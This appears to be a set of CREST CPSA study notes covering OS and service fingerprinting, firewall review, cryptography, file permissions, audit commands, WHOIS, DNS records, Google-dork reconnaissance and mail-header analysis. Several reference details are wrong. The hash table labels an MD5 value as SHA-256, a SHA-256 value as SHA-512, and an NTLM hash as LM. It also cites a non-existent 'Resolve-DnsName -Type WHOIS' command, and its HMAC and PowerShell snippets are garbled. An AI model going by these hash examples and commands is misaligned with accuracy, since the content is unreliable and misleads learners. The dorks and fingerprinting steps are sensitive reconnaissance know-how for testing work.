Remember, the effectiveness of filtering mechanisms relies on continuous monitoring, updating rules, and adapting to new threats. Security is an ongoing process that involves both technology and user awareness. Regular audits and assessments can help ensure the effectiveness of egress and ingress filtering in a dynamic threat landscape.

## B7: Missing from the official CREST CPSA syllabus document

## B8 OS Fingerprinting

Remote operating system fingerprinting; active and passive techniques.

**OS Fingerprinting:**
OS (Operating System) fingerprinting is a technique used to determine the operating system running on a remote host. It is a valuable phase in the information-gathering process during network reconnaissance. Fingerprinting helps attackers understand the target environment, enabling them to tailor subsequent attacks more effectively. OS fingerprinting can be performed using both active and passive techniques.
**Active OS Fingerprinting:**
**1. Nmap:**
**Command:**

```
nmap -O target_ip
```

- **Description:** Nmap uses a series of probes and analyzes the responses to determine the target's operating system. It sends packets and observes how the target responds.

**2. Xprobe2:**

- **Command:**

```
xprobe2 -T1 target_ip
```

- **Description:** Xprobe2 actively sends probes to the target and analyzes responses to determine the operating system. It uses a database of signatures for various operating systems.

**Passive OS Fingerprinting:**
**1. P0f:**

- **Command:**

```
p0f -i eth0
```

- **Description:** P0f is a passive OS fingerprinting tool that monitors network traffic to identify the operating system based on characteristics of TCP/IP packets. It analyzes the patterns of packets to make educated guesses about the OS.

**2. Satori:**

- **Command:**

```
satori -i eth0
```

- **Description:** Satori is another passive OS fingerprinting tool. It analyzes network traffic to determine the operating system based on characteristics such as TTL (Time To Live) values and TCP window sizes.

**Example Output:**
**Nmap Active OS Fingerprinting:**

```
Running (JUST GUESSING): Microsoft Windows 7 or Windows Server 2008 (92%)
```

**Xprobe2 Active OS Fingerprinting:**

```
[Xprobe2] Starting active OS fingerprinting against [target_ip]... [Xprobe2]
Got fingerprint: [Windows 7 or 8]
```

**P0f Passive OS Fingerprinting:**

```
[+] 192.168.1.2: Windows 7 SP1, 8, Server 2012 (guesses: 95%)
```

**Satori Passive OS Fingerprinting:**

```
192.168.1.3 - Linux (confirmed)
```

## B9 Application Fingerprinting and Evaluating Unknown Services

Determining server types and network application versions from application banners.
Evaluation of responsive but unknown network applications.

**Application Fingerprinting:**
Application fingerprinting involves identifying server types and network application versions by analyzing application banners in network traffic. Tools like Nmap, BannerGrab, and other specialized scanners are commonly used for this purpose.
**Tool: Nmap**
Command for Version Detection:

```
nmap -sV target_ip
```

Example Output:

```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
80/tcp open http Apache httpd 2.4.18 (Ubuntu)
443/tcp open https Apache httpd 2.4.18 (Ubuntu)
```

Interpretation:

- The version detection option (**-sV**) in Nmap reveals the software and version running on open ports.
- In this example, SSH, HTTP, and HTTPS services are identified along with their respective versions.

**Evaluation of Responsive but Unknown Network Applications:**
When you encounter responsive but unknown network applications, it's crucial to identify their nature and purpose. Tools like Wireshark, Netcat, and specialized application scanners can assist in this process.
**Tool: Wireshark**
Scenario:
Observing traffic between a client and an unknown server.

- Analyzing packets in Wireshark may reveal communication patterns, protocols, and potentially provide clues about the nature of the unknown application.

**Tool: Netcat (nc)**
Scenario:
Attempting to communicate with the unknown service using Netcat.

Example Command:

```
nc target_ip target_port
```

- Manually interacting with the service using Netcat can provide insights into its behavior and responses.

**Tool: Automated Scanning (e.g., Nessus)**
Scenario:
Using an automated scanner to perform a comprehensive evaluation of an unknown service.

- Automated scanners can identify vulnerabilities, enumerate services, and provide detailed reports on the unknown application.

## B10 Network Access Control Analysis

Reviewing firewall rule bases and network access control lists.

Reviewing firewall rule bases and network access control lists (ACLs) is a critical aspect of network security management. Various tools can assist in analyzing these configurations to ensure they align with security policies and best practices. Let's discuss a few tools and provide examples of how they can be used for this purpose.

**1. Firewall Rule Analysis with Tufin SecureTrack:**
Tufin SecureTrack is a tool designed for analyzing and managing firewall rule bases. It provides visibility into rule usage, highlights potential security risks, and helps ensure compliance.
Example Scenario:

1. **Installation:**
   - Install Tufin SecureTrack and connect it to your firewall devices.
2. **Rule Usage Analysis:**
   - Tufin provides reports and visualizations that help analyze the usage of firewall rules. For example, you can identify rules that are rarely or never used.
3. **Security Policy Compliance:**
   - Tufin can assess your firewall rule base against security policies and industry best practices, highlighting non-compliance.

**2. Firewall Rule Review with AlgoSec:**
AlgoSec is another solution for firewall policy and network security management. It assists in optimizing rule sets, ensuring compliance, and identifying potential risks.
Example Scenario:

1. **Installation:**
   - Install AlgoSec and connect it to your firewall infrastructure.
2. **Policy Optimization:**
   - AlgoSec can analyze your firewall rule base and recommend optimizations, such as removing redundant rules or reordering rules for better efficiency.
3. **Risk Analysis:**
   - The tool can assess rule sets for security risks, ensuring that rules adhere to security best practices and compliance standards.

**3. ACL Analysis with Cisco ACL Analyzer:**
Cisco ACL Analyzer is a tool specifically designed for analyzing Cisco Access Control Lists (ACLs).
Example Scenario:

1. **Usage:**

- Use the Cisco ACL Analyzer to import and analyze your Cisco ACL configurations.

2. **Analysis Reports:**
   - The tool provides reports on the potential impact of ACL changes, identifies shadowed rules, and helps ensure proper ACL functionality.

**4. Manual Analysis with Text Editors and Scripts:**

For a more hands-on approach, you can use text editors and scripting to analyze firewall rules and ACLs directly.

Example Scenario (Using Text Editor and Scripting):

1. **Export Configuration:**
   - Export the firewall rule base or ACL configuration to a text file.
2. **Text Editor Analysis:**
   - Use a text editor to manually review and analyze rules, looking for inconsistencies, redundant rules, or potential security risks.
3. **Scripting (Optional):**
   - Write scripts to parse and analyze rule configurations automatically. For example, you could use Python or PowerShell to identify specific patterns or characteristics in the rule set.

## B11 Cryptography

Differences between encryption and encoding.
Symmetric / asymmetric encryption
Encryption algorithms: DES, 3DES, AES, RSA, RC4.
Hashes: SHA1 and MD5
Message Integrity codes: HMAC

**Encryption vs. Encoding:**
**Encryption:**

- **Purpose:** Concealing data to make it unreadable without the correct decryption key.
- **Process:** Uses algorithms to transform plaintext into ciphertext.
- **Reversibility:** Reversible with the correct key.
- **Examples:** AES, DES, RSA.

**Encoding:**

- **Purpose:** Transforming data to ensure it adheres to a specific format or standard.
- **Process:** Uses encoding schemes like Base64 to represent data in a specific format.
- **Reversibility:** Usually reversible, but not for security purposes.
- **Examples:** Base64, URL encoding.

**Symmetric vs. Asymmetric Encryption:**
**Symmetric Encryption:**

- **Key Management:** Uses a single secret key for both encryption and decryption.
- **Speed:** Generally faster than asymmetric encryption.
- **Examples:** AES, DES, 3DES.

**Asymmetric Encryption:**

- **Key Management:** Uses a pair of public and private keys. Public for encryption, private for decryption.
- **Security:** Offers enhanced security but is computationally more intensive.
- **Examples:** RSA, ECC.

**Encryption Algorithms:**

1. **DES (Data Encryption Standard):**
    - **Key Size:** 56 bits.
    - **Status:** Widely used historically, but now considered insecure due to its small key size.
2. **3DES (Triple DES):**
    - **Key Size:** 112 or 168 bits.
    - **Process:** Applies DES algorithm three times.
    - **Status:** More secure than DES but slower. Phased out in favor of AES.
3. **AES (Advanced Encryption Standard):**
    - **Key Size:** 128, 192, or 256 bits.
    - **Process:** Block cipher, widely adopted as a secure symmetric encryption standard.
4. **RSA (Rivest-Shamir-Adleman):**
    - **Key Size:** Variable, often 2048 or 3072 bits.
    - **Process:** Asymmetric encryption algorithm used for secure data transmission and digital signatures.
5. **RC4:**
    - **Key Size:** Variable.
    - **Status:** Historically used in many protocols, but vulnerabilities have been discovered. Generally not recommended for secure applications.

**Hash Functions:**

1. **SHA-1 (Secure Hash Algorithm 1):**
    - **Output Size:** 160 bits.
    - **Status:** Deprecated due to vulnerabilities; not recommended for cryptographic security.
2. **MD5 (Message Digest Algorithm 5):**
    - **Output Size:** 128 bits.
    - **Status:** Deprecated due to vulnerabilities; not recommended for cryptographic security.

**Message Integrity Codes (HMAC):**

**HMAC (Hash-Based Message Authentication Code):**

- **Purpose:** Ensures data integrity and authenticity using a combination of a secret key and a hash function.
- **Process:**
    1. Applies a hash function (e.g., SHA-256) to the data.
    2. Combines the hash output with a secret key.
    3. Applies the hash function again to the combined value.
- **Example (Python):**

```
import hashlib
import hmac

key = b'secret_key'
data = b'message_to_protect'

# Calculate
HMAC using SHA-256 hmac_sha256 = hmac.new(key, data,
hashlib.sha256).hexdigest()
print("HMAC-SHA256:", hmac_sha256)
```

HMAC ensures that even if an attacker can modify the message, they cannot create a valid HMAC without knowledge of the secret key. It provides a way to verify the integrity and authenticity of a message.

Here's a table that provides examples of hash types, their sizes in bits and bytes, and how to identify them:

| Hash Type | Size (Bits) | Size (Bytes) | Example |
|---|---|---|---|
| MD5 | 128 | 16 | **d41d8cd98f00b204e9800998ecf8427e** (empty string) |
| SHA-1 | 160 | 20 | **5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8** (password "password") |
| SHA-256 | 256 | 32 | **5d41402abc4b2a76b9719d911017c592** (password "password") |
| SHA-512 | 512 | 64 | **5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8** (password "password") |
| MySQL (pre-4.1) | - | - | **1a1dc91c907325c69271ddf0c944bc72** (password "password") |
| MySQL (5+) | - | - | ***2470c0c06de6e42ee429b42a45fe2b70** (password "password") |

| Hash Type | Size (Bits) | Size (Bytes) | Example |
|---|---|---|---|
| MD5 (WordPress) | 128 | 16 | **$P$B7Sq6L.FCSqmR7orrsDVLePcLjS2yw0** (password "password") |
| MD5 (phpBB3) | 128 | 16 | **$H$9bDSB/6Rt1r5DQi6mIb/L.ZQ2NLeW01** (password "password") |
| LM Hash (Windows) | 128 | 16 | **aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c** (password "password") |

**Identifying Hash Types:**

1. **MD5:**
   - Usually represented as a 32-character hexadecimal string.
2. **SHA-1, SHA-256, SHA-512:**
   - SHA-1: 40-character hexadecimal string.
   - SHA-256: 64-character hexadecimal string.
   - SHA-512: 128-character hexadecimal string.
3. **MySQL (Pre-4.1 and 5+):**
   - Represented as a 32-character hexadecimal string for MySQL (pre-4.1).
   - Represented with a prefix, such as *****, for MySQL (5+).
4. **MD5 (WordPress, phpBB3):**
   - WordPress MD5 hashes start with **$P$**.
   - phpBB3 MD5 hashes start with **$H$**.
5. **LM Hash (Windows):**
   - Represented as two 16-character hexadecimal strings, each corresponding to the upper and lower halves of the LM hash.

## B12 Applications of Cryptography

SSL, IPsec, SSH, PGP
Common wireless (802.11) encryption protocols: WEP, WPA, TKIP

**Applications of Cryptography:**

1. **SSL/TLS (Secure Sockets Layer/Transport Layer Security):**
   - **Purpose:** Securing communication over the internet, especially in web browsers.
   - **Usage:** Encrypts data during transit, ensuring confidentiality and integrity.
   - **Examples:** HTTPS for secure web browsing, securing online transactions.
2. **IPsec (Internet Protocol Security):**
   - **Purpose:** Securing communication at the IP layer.
   - **Usage:** Provides encryption, integrity, and authentication for IP packets.
   - **Examples:** VPN (Virtual Private Network) connections, ensuring secure communication over the internet.
3. **SSH (Secure Shell):**
   - **Purpose:** Providing secure remote access to systems.
   - **Usage:** Encrypts data during remote login sessions and file transfers.
   - **Examples:** Securely accessing servers, transferring files using SFTP or SCP.
4. **PGP (Pretty Good Privacy):**
   - **Purpose:** Securing emails and files.
   - **Usage:** Provides end-to-end encryption and digital signatures for emails and files.

- **Examples:** Encrypting and signing emails, securing sensitive files.

**Common Wireless (802.11) Encryption Protocols:**

1. **WEP (Wired Equivalent Privacy):**
   - **Purpose:** Providing basic encryption for wireless networks.
   - **Security Concerns:** Vulnerable to various attacks, deprecated due to weak security.
   - **Usage:** Rarely used in modern networks due to its vulnerabilities.
2. **WPA (Wi-Fi Protected Access):**
   - **Purpose:** Improving security over WEP.
   - **Usage:** Supports stronger encryption methods like TKIP and AES.
   - **Security Enhancements:** Provides better protection than WEP but is considered less secure than WPA2 and WPA3.
3. **TKIP (Temporal Key Integrity Protocol):**
   - **Purpose:** Enhancing security within WPA.
   - **Usage:** Used with WPA for improved encryption.
   - **Security Concerns:** Vulnerabilities identified; generally not recommended for secure networks.
4. **WPA2 (Wi-Fi Protected Access 2):**
   - **Purpose:** Enhancing security further compared to WPA.
   - **Usage:** Supports strong encryption methods like AES-CCMP.
   - **Security Features:** Provides robust protection for wireless networks.
5. **WPA3 (Wi-Fi Protected Access 3):**
   - **Purpose:** The latest standard to enhance Wi-Fi security.
   - **Usage:** Introduces stronger encryption methods and security features.
   - **Security Enhancements:** Designed to address vulnerabilities and improve overall security.

## B13 File System Permissions

File permission attributes within Unix and Windows file systems and their security implications. Analysing registry ACLs

**File System Permissions in Unix (Linux/macOS):**
In Unix-like operating systems, file system permissions are governed by three permission categories: owner, group, and others (or world). Each category has three permission types: read (r), write (w), and execute (x).

1. **Symbolic Representation:**
   - **r:** Read permission
   - **w:** Write permission
   - **x:** Execute permission
   - **-:** No permission
2. **Numeric Representation:**
   - Each permission type is assigned a numeric value: read (4), write (2), execute (1).
   - The sum of these values represents the permission level.

Example:

```
-rw-r--r-- 1 user1 group1 1024 Nov 23 10:00 myfile.txt
```

- The owner (user1) has read and write permissions.
- The group (group1) has read-only permissions.
- Others have read-only permissions.

**File System Permissions in Windows:**

In Windows, file system permissions are managed through Access Control Lists (ACLs). Permissions include Full Control, Modify, Read & Execute, Read, and Write.

1. **Full Control:**
    - Includes all permissions.
2. **Modify:**
    - Allows reading, writing, and deleting files, as well as modifying folder attributes.
3. **Read & Execute:**
    - Allows viewing and running executable files.
4. **Read:**
    - Permits viewing but not modifying files.
5. **Write:**
    - Permits creating and modifying files.

Example (Windows Explorer):

1. Right-click on a file or folder.
2. Go to "Properties" > "Security" tab.

**Security Implications:**

Unix-like Systems:

- **Owner Privileges:**
    - The owner can control the file or directory.
    - Execute permission on a directory is required to access its contents.
- **Group Privileges:**
    - Group members share permissions.
    - Useful for collaborative work within a team.
- **Others (World) Privileges:**
    - Everyone else's permissions.
    - Restricting access to sensitive files and directories.

Windows:

- **Fine-Grained Permissions:**
    - ACLs allow more granular control over permissions.
    - Different permissions can be assigned to individual users or groups.
- **Inheritance:**
    - Permissions can be inherited from parent folders.
    - Allows consistency in access control across a directory hierarchy.
- **Advanced Features:**
    - Windows ACLs offer advanced features like auditing, allowing administrators to track access to files and folders.

**Analyzing Registry ACLs (Windows):**

- The Windows Registry contains system and application settings.
- Registry ACLs control access to registry keys.

Using PowerShell:

```
# Get ACL of a registry key
$keyPath = "HKLM:\Software\Example" $acl = Get-Acl -Path $keyPath # Display
ACL entries $acl   Format-List
```

Security Considerations:

- **Sensitive Information:**
  - Registry keys may contain sensitive system configurations.
  - Proper ACLs prevent unauthorized access and modification.
- **Misconfigurations:**
  - Inappropriate ACL settings may lead to security vulnerabilities.
  - Regularly audit and review registry ACLs.
- **Registry Virtualization (32-bit vs. 64-bit):**
  - On 64-bit systems, registry virtualization may impact permissions.
  - Be aware of the redirection and its implications.

Understanding and appropriately configuring file system and registry permissions are crucial for securing data, applications, and system settings. Regular audits and reviews help ensure that access controls align with security policies and best practices.

## B14 Audit Techniques

Listing processes and their associated network sockets (if any).
Assessing patch levels.
Finding interesting files.

**Audit Techniques:**

1. **Listing Processes and Associated Network Sockets:**

**Linux/macOS:**

- **Command:**

```
netstat -tulpn
```

- **Explanation:**
  - Lists all listening and established connections along with the associated processes.

**Windows:**

- **Command:**
-

```
Get-NetTCPConnection   Select-Object LocalAddress, LocalPort, RemoteAddress,
RemotePort, OwningProcess
```

- **Explanation:**
  - Retrieves information about active TCP connections, including the associated processes.

2. **Assessing Patch Levels:**

**Linux:**

- **Command:**
-

```
sudo apt list --upgradable
```

- **Explanation:**
  - Lists available package upgrades on Debian-based systems.

**Windows:**

- **Command:**

```
Get-HotFix
```

- **Explanation:**
  - Displays a list of installed hotfixes and updates on a Windows system.

3. **Finding Interesting Files:**

**Linux:**

- **Command:**

```
find / -name "filename" 2>/dev/null
```

- **Explanation:**
  - Searches for a file named "filename" starting from the root directory, suppressing permission-related errors.

**Windows:**

- **Command:**

powershell

```
Get-ChildItem -Path C:\ -Filter "filename" -Recurse -ErrorAction SilentlyContinue
```

- **Explanation:**
  - Recursively searches for a file named "filename" starting from the C:\ drive, suppressing errors.

# Appendix C: Background Information Gathering and Open Source

## C1 Registration Records

Information contained within IP and domain registries (WHOIS).

**Registration Records: Information in IP and Domain Registries (WHOIS)**
WHOIS Overview:
**WHOIS** is a protocol and database used to query information about ownership and registration details of domain names, IP addresses, and autonomous system numbers. The information provided by WHOIS includes details about the registrant, administrative and technical contacts, and registration and expiration dates.
Key Information in WHOIS Records:

1. **Domain Name:**
    - **Example: example.com**
    - **Explanation:** The primary identifier for a domain.
2. **Registrar:**
    - **Example: RegistrarName, Inc.**
    - **Explanation:** The organization accredited to register and manage domain names.
3. **Registrant:**
    - **Example:** John Doe
    - **Explanation:** The person or entity that owns the domain.
4. **Administrative Contact:**
    - **Example:** Jane Smith
    - **Explanation:** The individual responsible for administrative matters related to the domain.
5. **Technical Contact:**
    - **Example:** IT Support
    - **Explanation:** The individual responsible for technical matters related to the domain.
6. **Creation Date:**
    - **Example:** 2022-01-01
    - **Explanation:** The date when the domain was registered.
7. **Expiration Date:**
    - **Example:** 2023-01-01
    - **Explanation:** The date when the domain registration expires.
8. **Name Servers:**
    - **Example: ns1.example.com**, **ns2.example.com**
    - **Explanation:** The authoritative DNS servers for the domain.

WHOIS Query Commands:

1. **Command Line:**
    - **Linux:**

```
whois example.com
```

    - **Windows (using PowerShell):**

```
Resolve-DnsName -Name example.com -Type WHOIS
```

2. **Online WHOIS Services:**

- Numerous websites provide online WHOIS lookup services where you can enter a domain and retrieve registration details.

Considerations:

1. **Privacy Concerns:**
   - Some registrants use privacy services to mask their personal information in WHOIS records.
2. **Domain Ownership Changes:**
   - WHOIS records can reflect changes in ownership or contact information over time.
3. **IP Address WHOIS:**
   - Similar information is available for IP addresses, indicating the organization or entity that owns the IP range.
4. **Abuse Contacts:**
   - WHOIS records often include abuse contacts for reporting malicious activity related to a domain.

Example WHOIS Record:

```
Domain Name: EXAMPLE.COM
Registry Domain ID: 123456789_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.registrarname.com
Registrar URL: http://www.registrarname.com
Updated Date: 2022-01-10T05:00:00Z
Creation Date: 2022-01-01T05:00:00Z
Registrar Registration Expiration Date: 2023-01-01T05:00:00Z
Registrar: RegistrarName, Inc.
Registrar IANA ID: 1234
Domain Status: clientTransferProhibited
https://icann.org/epp#clientTransferProhibited
Registrant Name: John Doe
Registrant Organization: Example
Company Registrant Street: 123 Main St
Registrant City: Anytown
Registrant State/Province: CA
Registrant Postal Code: 12345
Registrant Country: US Registrant
Phone: +1.5555555555
Registrant Email: john.doe@example.com
Admin Name: Jane Smith
Admin Organization: Example Company
Admin Street: 123 Main St
Admin City: Anytown
Admin State/Province: CA
Admin Postal Code: 12345
Admin Country: US Admin Phone: +1.5555555555
Admin Email: jane.smith@example.com
Tech Name: IT Support
Tech Organization: Example Company
Tech Street: 123 Main St Tech City: Anytown
Tech State/Province: CA
Tech Postal Code: 12345
Tech Country: US
Tech Phone: +1.5555555555
Tech Email: it.support@example.com
Name Server: NS1.EXAMPLE.COM
Name Server: NS2.EXAMPLE.COM
DNSSEC: unsigned
Registrar Abuse Contact Email: abuse@registrarname.com
Registrar Abuse Contact Phone: +1.5555555555
URL of the ICANN WHOIS Data Problem Reporting System:
http://wdprs.internic.net/
 >>> Last update of WHOIS database: 2022-11-22T12:00:00Z <<<
```

Always consider the privacy laws and regulations associated with the region of the registrant, as they may affect the visibility of certain information in WHOIS records.

## C2 Domain Name Server (DNS)

DNS queries and responses
DNS zone transfers
Structure, interpretation and analysis of DNS records:

1. **SOA:** Start of Authority
2. **MX:** Mail Exchange
3. **TXT:** Text
4. **A:** Address
5. **NS:** Name Server
6. **PTR:** Pointer
7. **HINFO:** Host Information
8. **CNAME:** Canonical Name

**DNS Queries and Responses:**
**DNS Queries:**

- **A Record Query:**
  - Resolves a domain name to an IPv4 address.
  - **Example:** `nslookup example.com`
- **AAAA Record Query:**
  - Resolves a domain name to an IPv6 address.
  - **Example:** `nslookup -type=AAAA example.com`
- **MX Record Query:**
  - Retrieves mail exchange (MX) records for a domain.
  - **Example:** `nslookup -type=MX example.com`
- **NS Record Query:**
  - Retrieves name server (NS) records for a domain.
  - **Example:** `nslookup -type=NS example.com`
- **PTR Record Query:**
  - Performs reverse DNS lookup to find the domain associated with an IP address.
  - **Example:** `nslookup 8.8.8.8`

**DNS Responses:**

- **Authoritative Answer:**
  - Comes from a DNS server considered authoritative for the queried domain.
- **Non-authoritative Answer:**
  - Comes from a DNS server that cached the information but is not authoritative.

**DNS Zone Transfers:**

- **Zone Transfer:**
  - The process of copying the entire DNS database from one DNS server to another.
  - Typically involves transferring all records in a zone.
- **Security Implications:**
  - Zone transfers should be restricted to authorized servers to prevent unauthorized access to DNS records.

**Structure, Interpretation, and Analysis of DNS Records:**
1. **SOA (Start of Authority) Record:**

- **Purpose:**
  - Contains authoritative information about the domain.
- **Fields:**

    - Primary authoritative DNS server.
    - Email of the domain administrator.
    - Domain serial number.
    - Timers for refresh, retry, expire, and minimum TTL.

2. **MX (Mail Exchange) Record:**
    - **Purpose:**
        - Specifies mail servers for the domain.
    - **Fields:**
        - Priority: The priority of the mail server.
        - Mail Server: The domain name of the mail server.
3. **TXT (Text) Record:**
    - **Purpose:**
        - Contains arbitrary text, often used for human-readable information or domain verification.
    - **Example:**

```
v=spf1 ip4:192.168.0.1 include:_spf.example.com ~all
```

4. **A (Address) Record:**
    - **Purpose:**
        - Maps a domain name to an IPv4 address.
    - **Example:**

```
example.com IN A 192.168.0.1
```

5. **NS (Name Server) Record:**
    - **Purpose:**
        - Specifies authoritative DNS servers for the domain.
    - **Example:**

```
example.com IN NS ns1.example.com
```

6. **PTR (Pointer) Record:**
    - **Purpose:**
        - Used in reverse DNS lookups to map an IP address to a domain.
    - **Example:**

```
1.0.0.192.in-addr.arpa IN PTR example.com
```

7. **HINFO (Host Information) Record:**
    - **Purpose:**
        - Contains information about the CPU and operating system used by the host.
    - **Example:**

```
example.com IN HINFO "PC" "Windows"
```

8. **CNAME (Canonical Name) Record:**
    - **Purpose:**
        - Creates an alias for a canonical (official) domain name.
    - **Example:**

```
www.example.com IN CNAME example.com
```

## C3 Customer Web Site Analysis

Analysis of information from a target web site, both from displayed content and from within the HTML source.

**Customer Web Site Analysis:**
Analyzing a target website involves examining both the displayed content and the underlying HTML source code. This process provides insights into the structure, functionality, and potential security vulnerabilities of the website. Below are key aspects to consider during a web site analysis, along with examples:

1. **Displayed Content Analysis:**
   - **Navigation and User Experience:**
     - **Example:**
       - Navigate through the website to assess the user interface and overall experience.
       - Look for clear navigation menus, consistent layouts, and intuitive design.
   - **Content Presentation:**
     - **Example:**
       - Evaluate how content is presented, such as the use of images, videos, and text.
       - Check for responsiveness across different devices.
   - **Call-to-Action Elements:**
     - **Example:**
       - Identify buttons, forms, or links prompting users to take specific actions.
       - Evaluate the effectiveness of these elements in guiding user interactions.
   - **Contact Information:**
     - **Example:**
       - Look for contact details, such as email addresses, phone numbers, or physical addresses.
       - Ensure that contact information is easily accessible.
2. **HTML Source Code Analysis:**
   - **Meta Tags:**
     - **Example:**

```
<meta name="description" content="A brief description of the website.">
```

     - **Explanation:**
       - Check meta tags for metadata, including descriptions and keywords used by search engines.
   - **Title Tag:**
     - **Example:**

```
<title>Example Website</title>
```

     - **Explanation:**
       - Assess the title tag for an accurate and descriptive title that reflects the website's content.
   - **Links and References:**
     - **Example:**

```
<a href="/about">About Us</a>
```

        - **Explanation:**
            - Review internal and external links to understand the site's structure and external references.
- **Scripts and External Dependencies:**
    - **Example:**

```
<script src="analytics.js"></script>
```

    - **Explanation:**
        - Identify scripts and external dependencies, ensuring they are secure and necessary for functionality.
- **Forms:**
    - **Example:**

```
<form action="/submit" method="post"> <!-- Form fields and elements -->
</form>
```

    - **Explanation:**
        - Evaluate forms for proper validation, security measures, and adherence to best practices.
- **Security Headers:**
    - **Example:**

```
<meta http-equiv="Content-Security-Policy" content="default-src 'self';">
```

    - **Explanation:**
        - Check for security headers in the HTML source code to mitigate common web security risks.
- **Comments:**
    - **Example:**

```
<!-- This is a comment providing additional information. -->
```

    - **Explanation:**
        - Review comments for insights into code structure, explanations, or potential vulnerabilities.

3. **Performance Analysis:**

- **Page Load Speed:**
    - **Example:**
        - Use browser developer tools or online tools to analyze page load speed.
        - Optimize images, scripts, and other resources for faster loading times.
- **HTTP Requests:**
    - **Example:**
        - Examine the number of HTTP requests made by the webpage.
        - Reduce unnecessary requests to improve performance.
- **Browser Console Errors:**
    - **Example:**
        - Check the browser console for errors or warnings.
        - Address any issues related to scripts, stylesheets, or other resources.

Web site analysis is an ongoing process that involves continuous monitoring and improvement. Regularly assessing displayed content and HTML source code ensures a website's functionality, security, and user experience remain optimal.

## C4 Google Hacking and Web Enumeration

Effective use of search engines and other public data sources to gain information about a target.

**Google Hacking and Web Enumeration:**
**Google Hacking** refers to the use of advanced search operators and techniques to extract information from Google and other search engines. It involves crafting specific queries to find sensitive information that might be publicly available. Here are some techniques:

1. **Advanced Search Operators:**
    - **Filetype Operator:**
        - **Example:**

```
filetype:pdf site:example.com
```

        - **Explanation:**
            - Searches for PDF files on the specified website.
    - **Site Operator:**
        - **Example:**

```
site:example.com
```

        - **Explanation:**
            - Limits the search to a specific domain.
    - **Intitle Operator:**
        - **Example:**

```
intitle:"index of" password
```

        - **Explanation:**
            - Searches for directories containing "index of" in the title, often revealing unprotected files.
    - **Inurl Operator:**
        - **Example:**

```
inurl:admin filetype:php
```

        - **Explanation:**
            - Searches for pages with "admin" in the URL and having a PHP extension.
2. **Google Dorks:**
    - **Example:**

```
intitle:"index of" inurl:/logs
```

    - **Explanation:**
        - Searches for directories with "index of" in the title and containing "/logs" in the URL.
3. **Site Enumeration:**
    - **DNS Enumeration:**
        - **Example:**

```
site:example.com -www
```

        - **Explanation:**
            - Retrieves subdomains and other DNS-related information.
    - **Subdomain Enumeration:**

- **Example:**

```
site:*.example.com
```

- **Explanation:**
  - Identifies subdomains associated with the target domain.

- **IP Enumeration:**
  - **Example:**

```
ip:192.168.1.1
```

- **Explanation:**
  - Provides information related to the specified IP address.

4. **Social Media Enumeration:**
   - **Example:**

```
site:linkedin.com inurl:john-doe
```

   - **Explanation:**
     - Searches for profiles of "John Doe" on LinkedIn.

5. **Filetype Enumeration:**
   - **Example:**

```
site:example.com filetype:doc
```

   - **Explanation:**
     - Retrieves Word documents on the specified site.

6. **Sensitive Information Search:**
   - **Example:**

```
site:example.com ext:sql
```

   - **Explanation:**
     - Looks for SQL files on the specified site.

## C5 NNTP Newsgroups and Mailing Lists

Searching newsgroups or mailing lists for useful information about a target.

**NNTP Newsgroups and Mailing Lists Analysis:**
**NNTP (Network News Transfer Protocol) Newsgroups and Mailing Lists** are online forums and discussion platforms where users share information, ask questions, and engage in conversations related to specific topics of interest. Searching these platforms can provide valuable insights into discussions, issues, and trends related to a target. Here are examples of how to search for useful information:

1. **NNTP Newsgroups:**
   - **Google Groups:**
     - **Example:**

```
site:groups.google.com/forum/ inurl:newsgroups "your target"
```

     - **Explanation:**
       - Searches for discussions related to "your target" within Google Groups.
   - **Usenet Newsgroups:**
     - **Example:**

```
inurl:alt.fan.target "your specific query"
```

     - **Explanation:**
       - Searches for discussions related to "your specific query" within the Usenet newsgroup "alt.fan.target."
2. **Mailing Lists:**
   - **Google Search for Mailing Lists:**
     - **Example:**

```
site:lists.example.com "your target"
```

     - **Explanation:**
       - Searches for mailing lists hosted on lists.example.com related to "your target."
   - **Mailman Mailing List Archive:**
     - **Example:**

```
site:mail-archive.com "your target"
```

     - **Explanation:**
       - Searches for mailing list archives hosted on mail-archive.com related to "your target."
3. **Search Techniques:**
   - **General Search:**
     - **Example:**

```
"your target" newsgroup
```

     - **Explanation:**
       - A general search for discussions related to "your target" in various newsgroups.
   - **Topic-Specific Search:**
     - **Example:**

```
"specific topic" mailing list
```

- **Explanation:**
  - Searches for mailing lists discussing a "specific topic."

4. **Search Within a Specific Mailing List:**
   - **Example:**

```
site:lists.example.com/pipermail/ specific-list "your query"
```

   - **Explanation:**
     - Searches within the archives of a specific mailing list (e.g., specific-list) hosted on lists.example.com.
5. **Search for Responses and Solutions:**
   - **Example:**

```
"problem with your target" site:lists.example.com
```

   - **Explanation:**
     - Searches for discussions related to issues or problems with "your target" on mailing lists hosted on lists.example.com.

## C6 Information Leakage from Mail & News Headers

Analysing news group and e mail headers to identify internal system information.

**Information Leakage from Mail & News Headers Analysis:**
Analyzing mail and news headers can reveal valuable information about the underlying systems and infrastructure. This information can be useful for understanding the architecture, software, and potentially identifying security vulnerabilities. Here are some examples of how to analyze headers to identify internal system information:

1. **Email Headers:**
   - **Example Email Header:**

```
Received: from mail.example.com (mail.example.com [192.168.1.100])
by mailserver.example.net (Postfix) with ESMTP id ABC123
for <recipient@example.net>; Tue, 23 Nov 2023 10:00:00 -0500 (EST)
```

   - **Analysis:**
     - **Source IP Address:**
       - The "Received" header shows the originating IP address (192.168.1.100) of the sending mail server (mail.example.com).
     - **Mail Server Software:**
       - The "by" and "with" fields indicate the mail server software (Postfix) and its version.
     - **Message ID:**
       - The "id" field (ABC123) may contain a unique identifier for the email.
     - **Timestamp:**
       - The timestamp provides information about when the email was sent.

2. **News Headers (NNTP):**
   - **Example NNTP Header:**

```
Path: example.com!news.example.net!news-server!example.org!user
From: sender@example.com (John Doe)
Newsgroups: alt.test
Date: Tue, 23 Nov 2023 12:00:00 GMT
Organization: Example Organization
Lines: 20
Message-ID: <12345@example.org>
```

   - **Analysis:**
     - **Path:**
       - The "Path" header shows the route the message took through the network of news servers.
     - **Sender's Email:**
       - The "From" header reveals the email address of the sender (sender@example.com) and their display name.
     - **Newsgroups:**
       - Specifies the newsgroups to which the message belongs (alt.test).
     - **Date:**
       - Indicates the date and time when the message was posted.
     - **Organization:**

    - The "Organization" header may reveal information about the organization associated with the sender.
